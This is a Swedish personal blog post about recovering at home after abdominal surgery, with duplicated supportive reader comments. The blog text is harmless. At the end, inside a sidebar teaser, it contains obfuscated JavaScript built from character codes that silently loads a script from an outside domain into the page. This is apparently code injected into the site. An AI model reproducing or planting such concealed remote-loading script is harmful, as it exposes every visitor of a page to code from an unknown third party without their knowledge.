Oväntat besök! Fortsatt Rehab!

image

hej! Hur har din dag varit?

Jag brukar visa upp ”Dagens outfit” eller ”Todays Me”.

Ja, Vi kör väl en idag också…..

Samma underbara gördlar som senaste dagarna. NYA trosor för dagen, fortfarande lika smickrande utanpå 😉 Rosa med en spetskant, ifrån Victorias Secret. -känner mig såååå Schnygg!!! Not!

image

Känslan att vara begränsad, att inte kunna plocka ner saker ifrån kökshyllorna, själv, inte kunna ta upp saker från golvet som jag tappar…. -Det ÄR frustrerande! Jag har stirrat på ett knäckebröds paket ifrån Katrin Zytromerska LCHF knäcke, som jag mer än gärna hade knaprat på…. -men nej, dom är för högt upp!

Men värst av allt just nu är att jag inte har duschat sedan i onsdags!

Förstår du den Känslan?!   -vidrigt!

jag använder min sons våtservetter, ”raggar duschar” morgon och kväll …. Men känner mig ändå så äcklig!

Jag får duscha, med tejpen över stygnen på, men jag kommer ju inte in i duschen då jag har ett badkar…. kanten är för hög!

Jag kanske om jag anstränger mig rejält lyckas ta mig ner i badkaret, men hur f*n ska jag då ta mig upp? Hmm…. Funderar en stund till…. Om jag nu får för mig att ge mig på detta så tar jag med mig mobilen utifallatt jag skulle ”fastna” i badkaret så är ni min länk till verkligheten! -haha!

image

Så med andra ord så är min status med tanke på situationen helt okay. Det gör fortfarande förbannat ont mellan varven. -thanks god, för smärtstillande!

Jag saknar min son och hund jätte mycket, vilket gör mig extra blödig…. <3

Vi har ju varannan vecka, men nu när jag ligger såhär, så saknar jag honom EXTRA mycket!  även om jag VET att dom har det jätte bra.

Jag känner mig ofräsch, okvinnlig och som ett stapplande vrak! -Men kämpar på! jag vidhåller fortfarande att det ÄR värt det… För er som är nya här så  kommer här en bild på min älskade Ludvig :

image

Plötsligt ringer det på dörren????!  VEM kommer till mig tänker jag? Det är ytterst få människor som varit hemma hos mig… (Jag är väldigt restriktiv i den frågan, vem som får komma hem och inte)

Hmm, då borde det ju vara någon utav mina närmsta! Tankarna snurrar, och jag hör mig själv ropa -KOM IN….

In kommer ett par herrar ifrån Jehovas Vittne, som gladeligen och tacksamt tog emot min inbjudan om att komma in!

-SUCK!  (Tänk först, tala sen!) samtidigt som uppsynen dom fick när dom såg mig halv liggandes i soffan som ett paket fick dom att inse att jag inte väntade mig just detta besöket!

När jag trevligt men bestämt markerade att det var dags att gå så ville han ”bara” överlämnande en passande blochyr med rubriken

”konsten att hantera psykisk ohälsa”

 -Jasså du tycker att jag behöver den sa jag och småskrattade i min ställning framåt böjd som Agda 104!

Jag tycker INTE om oväntat besök! 

imageTill middag blev det rester ifrån igår… Min söta kalmarfru, har sett till att det jag behöver finns i lagom höjd. Så det var bara att värma på. -underbart! Jag tycker att min mage ser lite finare ut idag… -eller? Jag vågar fortfatande inte titta på den när jag ”luftat” utan granska den genom bilderna jag tar … 

imagenu ska jag luta mig tillbaka och vila en stund… Sedan ska jag förbereda ”veckans tävling” till er 🙂 Den kommer ut imorgon…. Kram på dig underbara du! / My Martens

31 Komentarer

  1. Vilken fin kämpe du är !! Snart är det över, vet att det inte känns så men snart vaknar du upp och märker inte ens att du plötsligt kan röra dig mer. Men så jag skrattade åt tanken att du sitter och där och tittar på knäcken.. åh så frustrerande men sött.. du skulle bett jehovas tagit ner dom åt dig haha. ?
    Ha en fin kväll och krya krya snabbt!!

  2. Gud vilken sötnos till son… o bra att han kan va hos sin pappa nu.
    Nu höjer jag pekfingret: du klättrar inte ner i badkaret =)
    Tänk om du halkar m.m O måste du, vänta tills nån nära vän kommer som kan vara bredvid….
    Kram o din mage blir finare o finare

  3. Hej, krya på dig o hoppas du snart blir starkare. vill bara tipsa dig om att du kanske kan duscha bredvid badkaret, det gjorde jag efter en op. vet ju inte hur ditt badkar ser ut, men mitt avlopp är under badkaret lixom, så jag stod bredvid, så nära badkarskanten som möjligt ,slangen räckte helt ok. golvet lutar ju lite i badrum så det kan funka hos dig med. Sålänge du inte har inbyggt badkar villsäga.

  4. Vilken fin kämpe du är !! Snart är det över, vet att det inte känns så men snart vaknar du upp och märker inte ens att du plötsligt kan röra dig mer. Men så jag skrattade åt tanken att du sitter och där och tittar på knäcken.. åh så frustrerande men sött.. du skulle bett jehovas tagit ner dom åt dig haha. 😉

    Ha en fin kväll och krya krya snabbt!!

  5. Hehehe tittade på första bilden å tänkte ne men shit vilka konstiga trosor.. drog ner lite till å såg bild nummer två å då gick det upp för mig att det var spetskanten som såg ut som tejpad hud.. så det såg ut som att det rosa bara var trosan. . Hahah.. ja sikka synvillor det finns.. vill bara säga Hejja dig.. kommer bli kanon.. kram

  6. Gud vilken sötnos till son… o bra att han kan va hos sin pappa nu.
    Nu höjer jag pekfingret: du klättrar inte ner i badkaret =)
    Tänk om du halkar m.m O måste du, vänta tills nån nära vän kommer som kan vara bredvid….
    Kram o din mage blir finare o finare

  7. Hej, krya på dig o hoppas du snart blir starkare. vill bara tipsa dig om att du kanske kan duscha bredvid badkaret, det gjorde jag efter en op. vet ju inte hur ditt badkar ser ut, men mitt avlopp är under badkaret lixom, så jag stod bredvid, så nära badkarskanten som möjligt ,slangen räckte helt ok. golvet lutar ju lite i badrum så det kan funka hos dig med. Sålänge du inte har inbyggt badkar villsäga.

  8. Hej. Jag önskar Dig god bättring. Jag tycker Din mage ser jättefin ut. Du har gjort helt rätt som opererat. Jag är annars inte vän av operationer för att se bättre ut men i Ditt fall kan jag tycka att det var befogat. Speciellt eftersom det inte gick att träna bort. Tänkte också föreslå att Du kanske kan stå på golvet i badrummet och duscha. Jag är höftledsopererad och kunde inte i heller gå upp i badkaret så jag stod på golvet. Ta väl hand om Dig.

  9. Hehehe tittade på första bilden å tänkte ne men shit vilka konstiga trosor.. drog ner lite till å såg bild nummer två å då gick det upp för mig att det var spetskanten som såg ut som tejpad hud.. så det såg ut som att det rosa bara var trosan. . Hahah.. ja sikka synvillor det finns.. vill bara säga Hejja dig.. kommer bli kanon.. kram

  10. Hej. Jag önskar Dig god bättring. Jag tycker Din mage ser jättefin ut. Du har gjort helt rätt som opererat. Jag är annars inte vän av operationer för att se bättre ut men i Ditt fall kan jag tycka att det var befogat. Speciellt eftersom det inte gick att träna bort. Tänkte också föreslå att Du kanske kan stå på golvet i badrummet och duscha. Jag är höftledsopererad och kunde inte i heller gå upp i badkaret så jag stod på golvet. Ta väl hand om Dig.

  11. Efter 10 dagar blev det drägligt för mig. Vi har duschkabin. Men jag hade ngn, ”isolerad” omtejpning som skulle sitta 3 v. Om det blev blött var jag tvungen att åka in o byta. Men tog smärtstillande och satte mig på knäna för jag stod inte ut med osanitären. Sedan skulle man upp också:) Toog lång tid och få hjälp gick ju ej. Gjorde ju ont om ngn, drog i en. Jag sov i tvåbäddsoffa. Fick ju benen högre upp då. Men du det är så värt det. Lägger handen på magmusklerna och spänner dem. Gick ju ej när de var delade. Ett tips. Vänta med byxköp. Det händer mkt med omfånget under ngr, månader tills svullnaden lägger sig. Köpte på hm träningsbyxor med skonsam linning. Resår blir för hårt första två månaderna. Men nu efter 3 funkar vanliga. Lite efter en månad kunde jag pwa. Första promenaden på 5 km tog 1.45 min. Men det var skönt. Blev så trött i ryggen att inte kunna räta ut den. Efter op trodde jag aldrig jag skulle kunna gå rakt. Men nu efter 3 månader är det ok igen. Tränar igen nästan som vanligt. Sittups funkar men inte plankan än. Det enda nu är att jag har känselbortfall och blir stelt om jag inte rör på mig. Känseln kommer lite mer och det känns som elstötar. Ej så obehagligt. Men det är positivt för då vet man att nerver hittar tillbaka. Jag ångrar ingenting. Och värt allt. Ska även förminska brösten och det känns easy med återhämntningen när man upplevt detta. Så fin mage med b-kupa till sommaren. Och magmuskler som är synkade:)

  12. Efter 10 dagar blev det drägligt för mig. Vi har duschkabin. Men jag hade ngn, ”isolerad” omtejpning som skulle sitta 3 v. Om det blev blött var jag tvungen att åka in o byta. Men tog smärtstillande och satte mig på knäna för jag stod inte ut med osanitären. Sedan skulle man upp också:) Toog lång tid och få hjälp gick ju ej. Gjorde ju ont om ngn, drog i en. Jag sov i tvåbäddsoffa. Fick ju benen högre upp då. Men du det är så värt det. Lägger handen på magmusklerna och spänner dem. Gick ju ej när de var delade. Ett tips. Vänta med byxköp. Det händer mkt med omfånget under ngr, månader tills svullnaden lägger sig. Köpte på hm träningsbyxor med skonsam linning. Resår blir för hårt första två månaderna. Men nu efter 3 funkar vanliga. Lite efter en månad kunde jag pwa. Första promenaden på 5 km tog 1.45 min. Men det var skönt. Blev så trött i ryggen att inte kunna räta ut den. Efter op trodde jag aldrig jag skulle kunna gå rakt. Men nu efter 3 månader är det ok igen. Tränar igen nästan som vanligt. Sittups funkar men inte plankan än. Det enda nu är att jag har känselbortfall och blir stelt om jag inte rör på mig. Känseln kommer lite mer och det känns som elstötar. Ej så obehagligt. Men det är positivt för då vet man att nerver hittar tillbaka. Jag ångrar ingenting. Och värt allt. Ska även förminska brösten och det känns easy med återhämntningen när man upplevt detta. Så fin mage med b-kupa till sommaren. Och magmuskler som är synkade:)

  13. Hej, ville bara tipsa att du kan få diverse hjälpmedel via Arbetsterapeuterna på Vårdcentralen. De gör hembesök. Du kan t.ex få förhöjd toastol, sittbräda till duschen alt duschpall med el utan armstöd, tänger i olika längder etc. Skickar med en länk http://www.ltkalmar.se/halsa-vard/sjukgymanstik-och-rehabilitering/
    Själv är jag hemma sedan sex veckor, gipsad med avsliten hälsena. Bor själv två trappor upp utan hiss. Både att laga mat, sova och duscha var ett helt projekt i början men nu går det lite bättre. Krya på dig <3

  14. Hej, ville bara tipsa att du kan få diverse hjälpmedel via Arbetsterapeuterna på Vårdcentralen. De gör hembesök. Du kan t.ex få förhöjd toastol, sittbräda till duschen alt duschpall med el utan armstöd, tänger i olika längder etc. Skickar med en länk https://www.ltkalmar.se/halsa-vard/sjukgymanstik-och-rehabilitering/
    Själv är jag hemma sedan sex veckor, gipsad med avsliten hälsena. Bor själv två trappor upp utan hiss. Både att laga mat, sova och duscha var ett helt projekt i början men nu går det lite bättre. Krya på dig <3

  15. Hej My!
    Såg bilden på din mage och såg att du har ärr ifrån en bröstoperation. När gjorde du den? Gjorde du lyft då också? *Nyfiken*
    Hoppas du mår bättre snart!
    Kram Sarah

    • Hej Sarah! Jag gjorde det för 3år sedan ca ett är efter att jag födde Ludvig. Nej inget lyft,jag behövde inte göra det ? bara fyllde till det jag hade innan ? det var nämligen två tomma påsar kvar ? kram

  16. Hej My!

    Såg bilden på din mage och såg att du har ärr ifrån en bröstoperation. När gjorde du den? Gjorde du lyft då också? *Nyfiken*
    Hoppas du mår bättre snart!

    Kram Sarah

    • Hej Sarah! Jag gjorde det för 3år sedan ca ett är efter att jag födde Ludvig. Nej inget lyft,jag behövde inte göra det 🙂 bara fyllde till det jag hade innan 🙂 det var nämligen två tomma påsar kvar 😉 kram

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/